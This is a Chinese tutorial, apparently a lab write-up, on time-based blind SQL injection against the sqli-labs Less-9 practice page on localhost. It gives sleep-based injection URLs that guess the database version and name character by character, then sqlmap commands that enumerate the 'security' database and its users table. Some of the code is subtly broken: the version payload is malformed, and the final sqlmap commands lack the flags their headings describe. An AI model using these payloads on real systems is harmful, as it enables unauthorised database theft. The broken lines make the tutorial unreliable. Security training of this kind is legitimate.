SQL注入【时间盲注】
SQL注入【时间盲注】
时间盲注也称为延时注入
利用场景
如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到
但可以通过特定的输入,判断后台的执行时间,从而确定注入
所用函数
sleep() 让程序挂起,单位秒
if(condition,value_if_true,value_if_false)
语法:当condition为真时,返回value_if_true,否则返回value_if_false
length() 获取字符串的长度
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
ascii() 把字符转换为ascii码值
靶场Less-9
1、进入靶场
2、输出错误参数,页面无变化
3、加上 and sleep()函数 尝试让页面休眠10秒
页面貌似延迟为2s
没有执行sleep()函数,猜想会不会是字符串型,换为’ and sleep(10) – q
执行成功,判断存在时间盲注
4、探测if语句是否可以使用
http://127.0.0.1/sqli/Less-9/?id=1‘ and if(1=2,sleep(20),null) – q
http://127.0.0.1/sqli/Less-9/?id=1‘ and if(1=1,sleep(20),null) – q
5、if语句可以使用,进行判断版本号
1 | http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q |
版本号为5.0版本以上
6、判断当前数据库名
1 | http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) >120,null,sleep(5)) -- q |
1 | http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) <120,null,sleep(5)) -- q |
1 | http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q |
得知第一个单词为s
按照以上步骤,依次猜解
最终得到当前数据库名为security
7、其他信息与上述步骤同理,一个一个猜解
8、由于太过于费事费力,可以使用自动化工具SQLMap
SQLMap跑时间盲注
1 | 使用 --technique 指定SQLMap探测技术 |
1、得出当前数据库名
1 | python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db |
2、得出security数据库下的表面
1 | python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables |
3、跑 users表下面的字段
1 | python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users |
4、跑出跑出users表中跑出id、username、password字段数据
1 | python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users |